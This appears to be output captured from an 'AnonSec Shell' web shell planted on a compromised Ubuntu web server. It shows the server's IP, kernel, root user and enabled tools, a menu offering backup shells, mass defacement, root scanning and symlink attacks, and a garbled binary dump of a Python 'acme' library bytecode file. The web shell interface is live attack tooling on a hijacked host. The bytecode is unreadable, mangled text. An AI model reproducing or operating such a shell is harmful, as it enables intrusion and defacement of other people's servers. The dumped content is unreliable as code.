AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/acme/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/acme/__pycache__/errors.cpython-310.pyc
o

6��a��@sHdZddlZddlmZddlmZddlmZddlmZddlmZddl	Z	ej
r1ddlmZGd	d
�d
e
�ZGdd�de�ZGd
d�dej�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd �d e�ZGd!d"�d"e�ZGd#d$�d$e�ZdS)%zACME errors.�N)�Any)�List)�Mapping)�Set)�errors)�messagesc@�eZdZdZdS)�ErrorzGeneric ACME error.N��__name__�
__module__�__qualname__�__doc__�rr�-/usr/lib/python3/dist-packages/acme/errors.pyr	�r	c@r)�DependencyErrorzDependency errorNr
rrrrrrrc@r)�SchemaValidationErrorz)JSON schema ACME object validation error.Nr
rrrrrrrc@r)�ClientErrorzNetwork error.Nr
rrrrrrrc@r)�UnexpectedUpdatezUnexpected update error.Nr
rrrrr!rrc@r)�
NonceErrorzServer response nonce error.Nr
rrrrr%rrcs@eZdZdZdedededdf�fdd�Zdefd	d
�Z�Z	S)�BadNoncezBad nonce error.�nonce�error�args�returnNcst�j|�||_||_dS�N)�super�__init__rr)�selfrrr��	__class__rrr+s
zBadNonce.__init__cCsd�|j|j�S)NzInvalid nonce ({0!r}): {1})�formatrr�rrrr�__str__0szBadNonce.__str__)
rrr
r�str�	Exceptionrrr$�
__classcell__rrr rr)srcs>eZdZdZdejdeddf�fdd�Zdefdd	�Z	�Z
S)
�MissingNoncez�Missing nonce error.

    According to the specification an "ACME server MUST include an
    Replay-Nonce header field in each successful response to a POST it
    provides to a client (...)".

    :ivar requests.Response ~.response: HTTP Response

    �responserrNcst�j|�||_dSr)rrr))rr)rr rrr>s
zMissingNonce.__init__cCsd�|jjj|jj�S)Nz_Server {0} response did not include a replay nonce, headers: {1} (This may be a service outage))r"r)�request�method�headersr#rrrr$Bs
��zMissingNonce.__str__)rrr
r�requests�Responserrr%r$r'rrr rr(4s	r(csVeZdZdZdeddedddf�fdd	�Zedefd
d��Z	de
fdd
�Z�ZS)�	PollErrora�Generic error when polling for authorization fails.

    This might be caused by either timeout (`exhausted` will be non-empty)
    or by some authorization being invalid.

    :ivar exhausted: Set of `.AuthorizationResource` that didn't finish
        within max allowed attempts.
    :ivar updated: Mapping from original `.AuthorizationResource`
        to the most recently updated one

    �	exhausted�messages.AuthorizationResource�updated)r1r1rNcs||_||_t���dSr)r0r2rr)rr0r2r rrrTszPollError.__init__cCs
t|j�S)z Was the error caused by timeout?)�boolr0r#rrr�timeout\s
zPollError.timeoutcCsd�|jj|j|j�S)Nz#{0}(exhausted={1!r}, updated={2!r}))r"r!rr0r2r#rrr�__repr__as�zPollError.__repr__)
rrr
rrrr�propertyr3r4r%r5r'rrr rr/Hs
��r/cs.eZdZdZdedddf�fdd�Z�ZS)�ValidationErrorz�Error for authorization failures. Contains a list of authorization
    resources, each of which is invalid and should have an error field.
    �failed_authzrsr1rNc�||_t���dSr)r8rr)rr8r rrrj�zValidationError.__init__)rrr
rrrr'rrr rr7fs"r7c@r)�TimeoutErrorz>Error for when polling an authorization or an order times out.Nr
rrrrr;orr;cs"eZdZdZd�fdd�Z�ZS)	�
IssuanceErrorzDError sent by the server after requesting issuance of a certificate.r�messages.ErrorrNcs||_t���dS)z\Initialize.

        :param messages.Error error: The error provided by the server.
        N)rrr)rrr rrrvszIssuanceError.__init__)rr=rN)rrr
rrr'rrr rr<ssr<cs*eZdZdZdeddf�fdd�Z�ZS)�
ConflictErroraError for when the server returns a 409 (Conflict) HTTP status.

    In the version of ACME implemented by Boulder, this is used to find an
    account if you only have the private key, but don't know the account URL.

    Also used in V2 of the ACME client for the same purpose.
    �locationrNcr9r)r?rr)rr?r rrr�r:zConflictError.__init__)rrr
rr%rr'rrr rr>sr>c@r)�WildcardUnsupportedErrorzEError for when a wildcard is requested but is unsupported by ACME CA.Nr
rrrrr@�rr@)r�typingrrrr�josepyr�jose_errorsr-�
TYPE_CHECKING�acmerr&r	r�DeserializationErrorrrrrrr(r/r7r;r<r>r@rrrr�<module>s0	

Anon7 - 2022
AnonSec Team